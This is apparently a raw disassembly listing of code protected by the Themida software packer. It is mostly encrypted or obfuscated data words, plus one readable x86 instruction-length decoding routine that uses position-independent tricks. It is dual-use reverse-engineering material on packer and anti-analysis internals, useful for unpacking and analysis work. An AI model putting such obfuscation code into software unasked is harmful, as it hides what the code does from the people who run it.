		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 0F7369D3h, 68Ch, 29B58900h, 0FF06070Eh, 7139DB5h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 4ED707FDh, 0C4242C21h, 0BD8B4B32h, 6071A79h,	0BD95FFh
		dd 0BE90607h, 21000000h, 1C6F2DE4h, 0C702EF3Ch,	6A29E9h
		dd 16B595FFh, 0C08B0607h, 72791FEBh, 5491DAF5h,	6AF6D185h
		dd 2DE06BAFh, 0B75D83F3h, 0F81B4893h, 62702DF7h, 0C649E80Ch
		dd 10E86Dh, 66270000h, 0E8CB1448h, 78A41F1Eh, 0DFC346C4h
		dd 0D88B26B9h, 0CE958h,	0E8900000h, 8C82846Dh, 3AF0735Ah
		dd 0C081200Ch, 610Fh, 1998D89h,	16B90607h, 89000018h, 700299Dh
		dd 8B388B06h, 7280D95h,	0F1C78106h, 605574A0h, 9D8BD98Ah
		dd 6071679h, 0B7EF8161h, 664089DBh, 81935ABEh, 0CBE917C7h
		dd 0D85895Ch, 5706071Eh, 0DB816656h, 8F5A8DF7h,	0F6BF0F00h
		dd 8B04E883h, 70371B5h,	1E98106h, 0F000000h, 1585h, 0D6B70F00h
		dd 28E9h, 2CB15600h, 25C0DF14h,	0BB136690h, 870FC8C7h
		dd 3, 0E9F38B66h, 0FFFFFF8Dh, 95CEC201h, 3A4436A9h, 1B086468h
		dd 1C8E9B8h, 88880000h,	7 dup(88880041h), 41h, 3 dup(0)
		dd 88000000h, 91C40000h, 11110000h, 11111111h, 99C91111h
		dd 88888888h, 8888h, 6000000h, 44440000h, 410000h, 11110000h
		dd 44441111h, 2994444h,	203C988h, 88880010h, 88880011h
		dd 11118888h, 16441111h, 0
		dd 8800h, 88888800h, 0
		dd 88880080h, 88888h, 88880000h, 88880808h, 8888h, 0
		dd 88880000h, 88888888h, 88808888h, 3 dup(88888888h), 99998800h
		dd 888h, 44448800h, 44444444h, 88884444h, 88888888h, 80008888h
		dd 80000099h, 88888899h, 89008888h, 88888888h, 8999h, 88800000h
		dd 88888088h, 88888888h, 88888088h, 88808888h, 88888888h
		dd 2E260888h, 65643E36h, 0F2F06766h, 0F3h, 0FFFF0000h
		dd 16E6FFFFh, 16FA0040h, 40h, 0
		dd 10000h, 14h dup(0)
		dd 80C30000h, 7577ED63h, 10000h, 11h dup(0)
		dd 53E90000h, 55000003h, 0E8h, 0ED815D00h, 60C8AF3h, 4085C760h
		dd 60C8Ah, 66000000h, 0A1663E81h, 0F850Fh, 85C70000h, 60C8A44h
		dd 6, 24E9h, 48858D00h,	50060C8Ah, 8A98858Dh, 5650060Ch
		dd 1DE8006Ah, 83000000h, 0FF2510C4h, 89000000h,	0C8A4485h
		dd 0B5036106h, 60C8A44h, 8A40858Bh, 0C35D060Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_55008D
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_550099
; ---------------------------------------------------------------------------


loc_55008D:				; CODE XREF: Themida_:00550076j
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4


loc_550099:				; CODE XREF: Themida_:00550088j
		push	ebx
		push	esi
		push	edi


loc_55009C:				; CODE XREF: Themida_:005500F1j
					; Themida_:0055010Dj ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_5500AF:				; CODE XREF: Themida_:005500D6j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 60C8BAAh
		lea	ebp, [ebp+60C8A20h]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_5500DC
		inc	cl
		cmp	cl, 0Bh
		jb	loc_5500AF


loc_5500DC:				; CODE XREF: Themida_:005500CBj
		cmp	cl, 0Bh
		jz	loc_550139
		cmp	al, 66h
		jnz	loc_55011A
		cmp	byte ptr [ebp-5], 0
		jnz	loc_55009C
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_550112
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_55009C
; ---------------------------------------------------------------------------


loc_550112:				; CODE XREF: Themida_:005500FFj
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4


loc_55011A:				; CODE XREF: Themida_:005500E7j
		cmp	al, 67h
		jnz	loc_55009C
		cmp	byte ptr [ebp-6], 0
		jnz	loc_55009C
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_55009C
; ---------------------------------------------------------------------------


loc_550139:				; CODE XREF: Themida_:005500DFj
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_550165
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_55016A
; ---------------------------------------------------------------------------


loc_550165:				; CODE XREF: Themida_:00550144j
		movzx	edi, al
		shr	edi, 1


loc_55016A:				; CODE XREF: Themida_:00550160j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 60C8C62h
		lea	ebp, [ebp+60C8920h]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_5502EC
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_550230
		dec	ecx
		jz	loc_550213
		dec	ecx
		jnz	loc_550283
		cmp	byte ptr [ebp-2], 0
		jnz	loc_55027F
		cmp	byte ptr [ebp-5], 0
		jz	loc_5501F2
		mov	byte ptr [ebp+0Bh], 2


loc_5501F2:				; CODE XREF: Themida_:005501E8j
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 60C8CEEh
		mov	dword ptr [ebp+60C8A40h], 1
		pop	ebp
		jmp	loc_550283
; ---------------------------------------------------------------------------


loc_550213:				; CODE XREF: Themida_:005501CDj
		cmp	byte ptr [ebp-2], 0
		jnz	loc_55025D
		cmp	byte ptr [ebp-5], 0
		jz	loc_55025D
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_55025D
; ---------------------------------------------------------------------------


loc_550230:				; CODE XREF: Themida_:005501C6j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_550276
		cmp	byte ptr [ebp-5], 0
		jz	loc_550265
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_55025D
		mov	[ebp+0Bh], cl


loc_55025D:				; CODE XREF: Themida_:00550217j
					; Themida_:00550221j ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_550283
; ---------------------------------------------------------------------------


loc_550265:				; CODE XREF: Themida_:0055023Ej
		cmp	dl, 5
		jnz	loc_550283
		mov	[ebp+0Bh], dl
		jmp	loc_550283
; ---------------------------------------------------------------------------


loc_550276:				; CODE XREF: Themida_:00550234j
		cmp	dl, 6
		jnz	loc_550283


loc_55027F:				; CODE XREF: Themida_:005501DEj
		mov	byte ptr [ebp+0Bh], 3


loc_550283:				; CODE XREF: Themida_:005501D4j
					; Themida_:0055020Ej ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_5502B1
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx


loc_550293:				; CODE XREF: Themida_:005502A9j
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_550293
		mov	esi, edx


loc_5502B1:				; CODE XREF: Themida_:00550286j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_5502E6
		cmp	edi, 7Fh
		ja	loc_5502E6
		test	bl, 38h
		jnz	loc_5502E6
		cmp	byte ptr [ebp-7], 0
		jz	loc_5502E0
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_5502E3
; ---------------------------------------------------------------------------


loc_5502E0:				; CODE XREF: Themida_:005502D1j
		push	1
		pop	eax


loc_5502E3:				; CODE XREF: Themida_:005502DBj
		mov	[ebp-1], al


loc_5502E6:				; CODE XREF: Themida_:005502B5j
					; Themida_:005502BEj ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]


loc_5502EC:				; CODE XREF: Themida_:00550196j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_550317
		dec	eax
		dec	eax
		jz	loc_55030D
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_55031F
; ---------------------------------------------------------------------------


loc_55030D:				; CODE XREF: Themida_:005502FCj
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_55031C
; ---------------------------------------------------------------------------


loc_550317:				; CODE XREF: Themida_:005502F4j
		mov	al, [ebp-3]
		add	al, 4


loc_55031C:				; CODE XREF: Themida_:00550312j
		add	[ebp-1], al


loc_55031F:				; CODE XREF: Themida_:00550308j
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_550347
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx


loc_550332:				; CODE XREF: Themida_:00550341j
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_550332


loc_550347:				; CODE XREF: Themida_:00550327j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dw 858Dh
		dd 60C8AEDh, 4198589h, 3CE90607h, 1, 4Eh dup(0)
		dd 83000000h, 71325BDh,	840F0106h, 58Eh, 1830Fh, 0C6FC0000h
		dd 72C0585h, 0F5604306h, 7748DF81h, 68610C95h, 0EF1561B2h
		dd 198A0Fh, 52500000h, 0CE9h, 1F035400h, 40A54E33h, 5443F459h
		dd 60310F3Fh, 81585A61h, 0B1472434h, 0BE903B0h,	0ED000000h
		dd 0A12CCCC3h, 10D1F7ACh, 0B5FF2883h, 60731ADh,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0FAC35343h, 0F2BAB8D9h
		dd 117BBC67h, 8F0FF9D9h, 1, 1F858DF5h, 0E9060A7Bh, 12h
		dd 0DE68444Ch, 5A0B5CC4h, 8EC80718h, 2A894D8Bh,	0D0FF6DD1h
		dd 18F0Fh, 89FC0000h, 7050985h,	0DE96006h, 0B8000000h
		dd 0BE668513h, 0B8B5C0CFh, 83E58B66h, 61C7BF0Fh, 2C0585C6h
		dd 0F500607h, 187h, 4E8F800h, 56000000h, 0FA8ADADh, 0C81h
		dd 68C0F00h, 0F000000h,	83h, 52505000h,	0FD88A60h, 85h
		dd 310F6100h, 28B0Fh, 61600000h, 448B585Ah, 6E90424h, 0FB000000h
		dd 1AF42AAAh, 0E9008B34h, 11h, 3901F18Ah, 7205FE37h, 0E57E75A9h
		dd 0C7987818h, 2444899Fh, 0E9525004h, 10h, 98F35457h, 53951878h
		dd 97F9609h, 7729371Ah,	13E9310Fh, 65000000h, 89632BB7h
		dd 0CA067250h, 4EBD957Ah, 0FD1850CFh, 585A3F8Ch, 8A0F6058h
		dd 4, 5824BB66h, 61F28B66h, 31ADB5FFh, 66600607h, 6124EABBh
		dd 7B1F858Dh, 0FFF5060Ah, 0C880FD0h, 0F000000h,	684h, 850F00h
		dd 89000000h, 7142985h,	0AC68F906h, 0E97A71E6h,	0Fh, 0D62A9CBCh
		dd 5EEFE802h, 824AB473h, 81E79EA2h, 0C1832404h,	0F560761Dh
		dd 8E9h, 0F6DFDA00h, 0D3560A58h, 0B5FF6111h, 60731ADh
		dd 1F858DF5h, 60060A7Bh, 5890Fh, 51B80000h, 6655B4C4h
		dd 73BAF181h, 0FD0FF61h, 198Fh,	12E96000h, 30000000h, 40211A2Bh
		dd 5027585h, 0C679E74Eh, 8AF0A31Dh, 8589618Dh, 6070CB9h
		dd 18B0Fh, 0C6FC0000h, 72C0585h, 66605006h, 66F278BFh
		dd 0C4D3D981h, 4E861h, 0DC560000h, 5250979Ch, 5BF7BF60h
		dd 0F610593h, 10830F31h, 0E9000000h, 0Bh, 0BACD8B0Eh, 0B1752AB5h
		dd 5A2D35B1h, 52505058h, 5E960h, 78240000h, 66971444h
		dd 6151B1BBh, 8B60310Fh, 585A61FBh, 424448Bh, 8B0F5250h
		dd 6, 880Fh, 310F0000h,	8A616060h, 585A61D9h, 5250008Bh
		dd 52505250h, 585A310Fh, 0EE9310Fh, 0FE000000h,	0DC50D327h
		dd 0C4D97E01h, 498C27D1h, 0F585A32h, 0F525031h,	88h, 0E9310F00h
		dd 12h,	19F9E168h, 0A0B5B86Ah, 4FB926EFh, 0FCDF20E7h, 585AAC1Ah
		dd 4489585Ah, 820F0424h, 0Ch, 68C0Fh, 52500000h, 585A310Fh
		dd 51006A58h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 74153276h, 2860Fh, 61600000h, 0DE860h, 10AB0000h
		dd 3B0AC7DDh, 0ED7CC94Fh, 66EF44E1h, 5A32BFB9h,	26CF8160h
		dd 0F4AB2D3h, 89h, 0FF616100h, 71B2DB5h, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
		dd 9120E2Fh, 0F90C5A17h, 3B24858Dh, 0FFFC0607h,	56006AD0h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 0E9608F34h, 0Ah, 57C8762Dh, 3B0B0BBBh, 10E9496Eh, 83000000h
		dd 0B6479B5h, 413BB4E2h, 3A76CF44h, 61E4E552h, 898589F8h
		dd 6A06072Ah, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 0E966C357h, 1AAh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0F0C35747h, 95796477h
		dd 7C9AFF3Ah, 0D9806060h, 61D18BF9h, 618FCE80h,	0E890Fh
		dd 0F9600000h, 5E8h, 0E721EB00h, 615A7ED2h, 0EE9h, 34961C00h
		dd 2B7136BCh, 0E56A8495h, 50AB1C4Ch, 1C870Fh, 52500000h
		dd 810Fh, 310F0000h, 0BE9h, 0C944DB00h,	2F9A38EBh, 934A072Ah
		dd 2C89585Ah, 1D860F24h, 0F000000h, 1781h, 12E900h, 14AF0000h
		dd 0F6BCC10h, 4E540461h, 0B6C5A840h, 4793E45Fh,	5E9EC8Bh
		dd 0F7000000h, 0B9928945h, 0E9FCC483h, 6, 98E9C431h, 66605D9Eh
		dd 8438E381h, 8D0F60h, 0F000000h, 6161D9BFh, 8B526060h
		dd 0E8615AFEh, 0
		dd 56EA815Ah, 0C7060C94h, 0FC45h, 0BA830000h, 6071325h
		dd 98840F01h, 52000000h, 0F6A006Ah, 50992FFh, 895A0607h
		dd 0C8E5182h, 559A8D06h, 52060C8Eh, 12803C7h, 50530000h
		dd 142992FFh, 525A0607h, 8E559A8Dh, 0FF53060Ch,	0C8E51B2h
		dd 8992FF06h, 5A06072Ah, 5074C00Bh, 8E559A8Dh, 7B8D060Ch
		dd 81C93324h, 104F9h, 41D47400h, 2E393C81h, 75455845h
		dd 39348DEEh, 8D0C752Bh, 72289BAh, 0C4D8B06h, 0C032A4F3h
		dd 75FF52AAh, 89828D08h, 50060722h, 0CB992FFh, 0B5A0607h
		dd 0C7A075C0h, 1FC45h, 7EB0000h, 0FC45C7h, 61000000h, 0C9FC458Bh
		dd 0E90008C2h, 11h, 8E1C41A3h, 29322277h, 9534B5E4h, 0C7198CD7h
		dd 0D28BFC86h, 95EA8D8Dh, 0E880060Ch, 798D89B2h, 8B060706h
		dd 70CE99Dh, 0E585C706h, 0BC06072Ch, 6A000072h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 0C785C355h, 72D0585h, 6, 0D6B70F00h,	0B75B5FFh, 6A0607h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 0DE875C3h, 80000000h, 7EC5204Dh, 805396B5h, 0ACF3A82Eh
		dd 26399533h, 0F5E0607h, 68Ch, 0F1B58900h, 0FF06070Dh
		dd 700BD95h, 57006A06h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 8BC0B122h, 7131D9Dh, 0FF006A06h
		dd 716B595h, 0EBC08B06h, 0E583FB7Dh, 312E3BCBh,	39639BABh
		dd 3DF8DB1h, 381FC238h,	0EEB5465Eh, 0A5FC8091h,	523CB1C6h
		dd 2D8C4B47h, 4473EEE7h, 27214A1h, 0D577E76Ch, 0DC266D1h
		dd 0A0CCF7C1h, 70D3C75Ch, 9EFB55A8h, 65E2A2DEh,	90BD2F83h
		dd 0BB90D06Eh, 4C389DA2h, 527D00C1h, 5F4903BEh,	36F67511h
		dd 350AE1FBh, 13F7AE28h, 483A247Ah, 0AC5083B8h,	0DAC5B4F4h
		dd 0D377F541h, 39C65DA0h, 0C042C17Eh, 8D8D006Eh, 60C9787h
		dd 14E9h, 0F7B53900h, 11BD3660h, 3054664Bh, 27340F98h
		dd 0C5758679h, 798D89F1h, 6A060706h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 245CC350h
		dd 0EF591D74h, 0B1B8D78Ah, 6646D69Eh, 0C757D9BAh, 72CE585h
		dd 5F9C06h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 0BEC6816Ah, 0C777BDB9h, 72D0585h
		dd 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 0F98B667Dh, 139DB5FFh, 6A0607h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 48BEC9C3h, 0FA22EF5Ch, 0FFDCFF6Ch, 700BD95h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 89648A01h, 71F45B5h,	14E906h, 3C0000h, 5688406Eh, 0F60FEAC1h
		dd 0D695ED08h, 7ADA74DBh, 6AB605h, 16B595FFh, 0C08B0607h
		dd 6D011FEBh, 2039C0A3h, 0C1BB0531h, 1834D295h,	866C13D1h
		dd 0F266DC2h, 0B2436AF2h, 492A26Eh, 0EE84Fh, 0BB60000h
		dd 37B57944h, 73ADCEAAh, 297592CDh, 58FA8B66h, 7FDB50Bh
		dd 0C0810607h, 661Dh, 5DBBD233h, 0FF063C21h, 0F78B0234h
		dd 0AD9D0959h, 81060709h, 0F86F83C1h, 5810F01h,	66000000h
		dd 0B511DF81h, 39DBC181h, 8D0F775Fh, 6,	8227D681h, 0E981355Bh
		dd 7D649A3h, 0B70F51F5h, 10048FD9h, 0EE9FCh, 0D8E60000h
		dd 0AE49008Dh, 103B8546h, 1C6DB04Dh, 8901EA83h,	7201D85h
		dd 4A4A4A06h, 8182D780h, 0FF9A7CFAh, 94850FFFh,	0FFFFFFFh
		dd 680h, 45BD8B00h, 8B060703h, 52006AC0h, 3E8h,	0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 9ADBECCCh
		dd 14E97360h, 7A000000h, 3B24C108h, 0F46EECD1h,	43FE4DBEh
		dd 29851C66h, 0FA6E7B5h, 28Fh, 83C3B300h, 70FF5BDh, 9750006h
		dd 3001BD83h, 74000607h, 8B535019h, 3FCB8C0h, 85890000h
		dd 60709D5h, 0ACA79D8Dh, 0D3FF0609h, 0BD83585Bh, 6073001h
		dd 50177400h, 3FCB853h,	85890000h, 60709D5h, 0A9969D8Dh
		dd 0D3FF0609h, 8A0F585Bh, 0Bh, 6E9h, 0EE8AD300h, 60346D98h
		dd 5F616057h, 0BFAEB966h, 8BF18A61h, 52006AC0h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0F381C721h
		dd 5DFF4CA3h, 218DBD83h, 0F010607h, 4584h, 0D7B70F00h
		dd 59BD83h, 0F000607h, 3585h, 82F68000h, 0C9CA8153h, 5A0461F1h
		dd 217DBD83h, 0F000607h, 0C184h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0F9E9F86Bh
		dd 6A000003h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 3BA9C355h, 982D6FE4h, 53BA6462h
		dd 0A006BA66h, 0B70F605Bh, 0BB6660F7h, 0CE8115C9h, 64BC2B67h
		dd 6161h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 51A077C3h, 0C2816B59h, 50891F73h
		dd 0CA816652h, 6A5AF8D3h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 1968C357h, 0A3EE8EBh
		dd 8B60915Ch, 68C0FDEh,	81000000h, 0D52F47E9h, 19666162h
		dd 0AAF91511h, 0ACFD0F41h, 21728F4Eh, 0ACBE8F4Fh, 0D5DA02B7h
		dd 0CAA98502h, 7C2859C5h, 78F34DCFh, 6E1CC043h,	0C6FA8F4Ah
		dd 0AF95DC4Eh, 8CBE8F4Eh, 25044C15h, 2DABAB12h,	0B4D3AB0Ah
		dd 0EFEB8F4Eh, 898E4C1Dh, 26EAFB37h, 0AC95DAB7h, 0F1BE8F4Eh
		dd 363A62CFh, 0ACC58942h, 0ACD4671Ch, 0F6CB8F4Eh, 0F87CD58Dh
		dd 0E87B8B6Ah, 0AC608B6Ah, 0FEFC8F4Eh, 0DADE8D8Dh, 9426F4DAh
		dd 0A3FCDA56h, 0ACEB8CC1h, 737EE94Eh, 0A412EF2Eh, 0B27D8F4Eh
		dd 55A856DEh, 0F6D1D13Eh, 0E6423728h, 5C68802Fh, 0AE66802Fh
		dd 27F58F4Eh, 453A0491h, 0AC7D8F4Bh, 1946F61Fh,	20E9DFAEh
		dd 0CA8B8BC7h, 0ADD851C5h, 0C615AB02h, 0AF1DD84Eh, 8CFA8F4Eh
		dd 25224C11h, 2DBAAB32h, 0B65BAB0Ah, 0EBAF8F4Eh, 83154C19h
		dd 0C913C6ECh, 2CFAEF6Fh, 0ACFA8F4Eh, 0AC7F0041h, 76358F4Eh
		dd 0A9AAD72Fh, 0ACAF8D42h, 0A45C75C4h, 44B88F24h, 0ACF58F4Dh
		dd 0F739D46Eh, 0A859D3C7h, 0A89ACBCFh, 0AC5F8F59h, 9D6CDC0Dh
		dd 2664B89Ah, 0E460E9BAh, 0F9F5E5B2h, 0ACFA8CA6h, 6F20AF4Eh
		dd 88D20613h, 881B0E4Ah, 0ACAF954Ah, 6F82CA4Eh,	0C39BDFD9h
		dd 2CAC6A77h, 0AD42048Dh, 0C67D8F4Eh, 0AF56D84Eh, 8C5F8F4Eh
		dd 25F04C11h, 2DD3AB32h, 0B8EFAB0Ah, 0EBF58F4Eh, 0FC604C19h
		dd 0AC7D81A6h, 8E30EE4Eh, 0AB0040EDh, 705ED027h, 1675B19Eh
		dd 0D18BDB70h, 88F90615h, 0ACF3672Eh, 40598F4Eh, 8CC0B91Dh
		dd 0A3A12942h, 2DF14FF9h, 0FA5F6F8Fh, 168BEE6Ch, 0AF8DC372h
		dd 158522F4h, 201BEE3Ch, 0A87F7997h, 0AD7E0A41h, 45538F4Eh
		dd 0ACD78F5Eh, 9B19659Ch, 31BAC0DFh, 30E4A8CDh,	266DED42h
		dd 0BF08EF17h, 0CDA60428h, 0A3C7B6CEh, 0ACD6B2CBh, 0FDEBE54Eh
		dd 0ACF58CA6h, 6FA3AF4Eh, 88310617h, 88FA0E4Ah,	0AC5F924Ah
		dd 6FFECE4Eh, 394785D4h, 1BC2F855h, 0A11C56F1h,	13FA8F4Eh
		dd 0AADD19BEh, 7303A3C6h, 0D5B7D3FDh, 0C6AEF6C5h, 0AF3FD84Eh
		dd 8CEB8F4Eh, 25AA4C11h, 2DFEAB32h, 0BB79AB0Ah,	0EBBE8F4Eh
		dd 0AE734C19h, 29A0E598h, 0ACD78F4Ch, 0CC8B5EC4h
		dd 0F5F03028h, 0CA1A0E28h, 2D1CEEDBh, 0ACBE8FB1h, 6FDD80CEh
		dd 0C6AF8F4Eh, 0AF3FDF4Eh, 8CEB8F4Eh, 25AD4C16h, 2DFEAB0Ah
		dd 0B979AB0Ah, 0ECBE8F4Eh, 5A244C1Eh, 6B426DCEh, 0A04E3FCBh
		dd 0ACEB8E48h, 0FCF5E54Eh, 0ACFA8CA6h, 6F25AF4Eh, 88FA0616h
		dd 881B0E4Ah, 0ACAF9A4Ah, 6F87CF4Eh, 2CBCDFDDh,	45AE34A8h
		dd 0ACFA8FFEh, 44288F24h, 0ACBE8F4Dh, 0F19CD26Eh, 0A88BE3C7h
		dd 0A8F3CBCFh, 0ACEB8F5Ah, 4E36DA0Bh, 0A0380E28h, 0AC316688h
		dd 6F3F8F4Eh, 0ABEE75D7h, 0F5783041h, 0C61C0E28h, 0D568E95Bh
		dd 28FA7045h, 0ACFA8F7Ch, 442E8F24h, 0ACBE8F4Dh, 0F79CD46Eh
		dd 0A88BD3C7h, 0A8F3CBCFh, 0ACEB8F52h, 0A136DC0Dh, 9311A90Fh
		dd 0B6F77811h, 297957C4h, 0AA5316FEh, 0ACAF8F4Fh, 0C69F0CF8h
		dd 0AF03D84Eh, 8CF58F4Eh, 25A54C11h, 2D79AB32h,	0B0BAAB0Ah
		dd 0EB5F8F4Eh, 4C914C19h, 0A81171C8h, 44375CFDh, 0ACF58F43h
		dd 9F9FDDF4h, 3D7606E2h, 0B0A4C375h, 7AD4E9B7h,	74108015h
		dd 608E5CF7h, 0E26E0258h, 21F383D1h, 0A06705F3h, 0D885B448h
		dd 7DB1BF49h, 59B4C887h, 44FA8F24h, 0ACD78F4Dh,	0F128D26Eh
		dd 0A8D1E3C7h, 0A8DECBCFh, 0AC7D8F53h, 0BF7DDA0Bh, 990246B0h
		dd 650233AFh, 0F9D7E56Ch, 0ACEB8CA6h, 6FA8AF4Eh, 88960613h
		dd 88390E4Ah, 0ACBE9B4Ah, 6F0ACA4Eh, 0AF248087h, 0A3D78F4Eh
		dd 278D5DF1h, 21480C9Fh, 0ADFC886Fh, 0ACFD0B41h, 0ACD48F4Eh
		dd 0AC5C671Fh, 0F58F8F4Eh, 0E05ED68Dh, 0E86A8B6Ah, 0ACEC8B6Ah
		dd 0FDBB8F4Eh, 0B8B9D98Dh, 2D473059h, 831A3E9Ch, 0A8238022h
		dd 0CAD78F4Eh, 2F5E14F4h, 0ABF5D6F3h, 29F58F48h, 0AC7D8F0Ch
		dd 36CE3428h, 8D2232CDh, 0A3AF8949h, 0ACD7D6CAh, 0FEEBE54Eh
		dd 0ACF58CA6h, 6FA0AF4Eh, 88290614h, 88FA0E4Ah,	0AC5F924Ah
		dd 6FFDCD4Eh, 0D6FA3E17h, 804274F0h, 1995B4A2h,	0D11A0ED6h
		dd 0CD150772h, 3A575CC5h, 0C65F8F4Eh, 0AF47DF4Eh, 8CD78F4Eh
		dd 25B34C16h, 2DF1AB0Ah, 0B5FEAB0Ah, 0EC7D8F4Eh, 44A74C1Eh
		dd 15E9262h, 112C57C5h,	0AAD0AEC3h, 9E6E804Fh, 0CAF58F4Eh
		dd 0CAA750C5h, 6F80F4F4h, 44EB8F24h, 0AC5F8F4Dh, 0F16CD26Eh
		dd 0A8F3E3C7h, 0A8CFCBCFh, 0ACF58F5Bh, 0FC39DA0Bh, 59C6E950h
		dd 0AC89666Dh, 13508F4Eh, 0AA46D297h, 0DED78F4Eh, 39BF6E93h
		dd 0AC9F40B9h, 0ACF96718h, 0F25D8F4Eh, 0D837D18Dh, 0E8DE8B6Ah
		dd 0ACB28B6Ah, 0FA918F4Eh, 5384098Dh, 545C90B7h, 272B498Bh
		dd 0B8C00294h, 21B883D4h, 0A0C094C3h, 0F0B23748h, 29E4F474h
		dd 0AAEC9383h, 5CF74065h, 258608Eh, 83D1E26Eh, 5F321F3h
		dd 0B448A067h, 0BF49D885h, 0C8877DB1h, 5E983B4h, 0BD83A4F3h
		dd 60C99B0h, 8D0D7400h,	74E1C8Dh, 1B806h, 0E1FF0000h, 3525BB40h
		dd 11E926F9h, 67000000h, 3CFD0866h, 0DA20BCFEh,	0C1CD705Eh
		dd 0AEEB67B7h, 0F2DE883h, 687h,	0ABCB8100h, 8B0FF831h
		dd 0D6BB66C0h, 0F5BD8324h, 6070Fh, 0BD830975h, 6073001h
		dd 50197400h, 0B8C08B53h, 3FCh,	265D8589h, 9D8D0607h, 609AD0Eh
		dd 585BD3FFh, 3001BD83h, 74000607h, 0B8535017h,	3FCh, 265D8589h
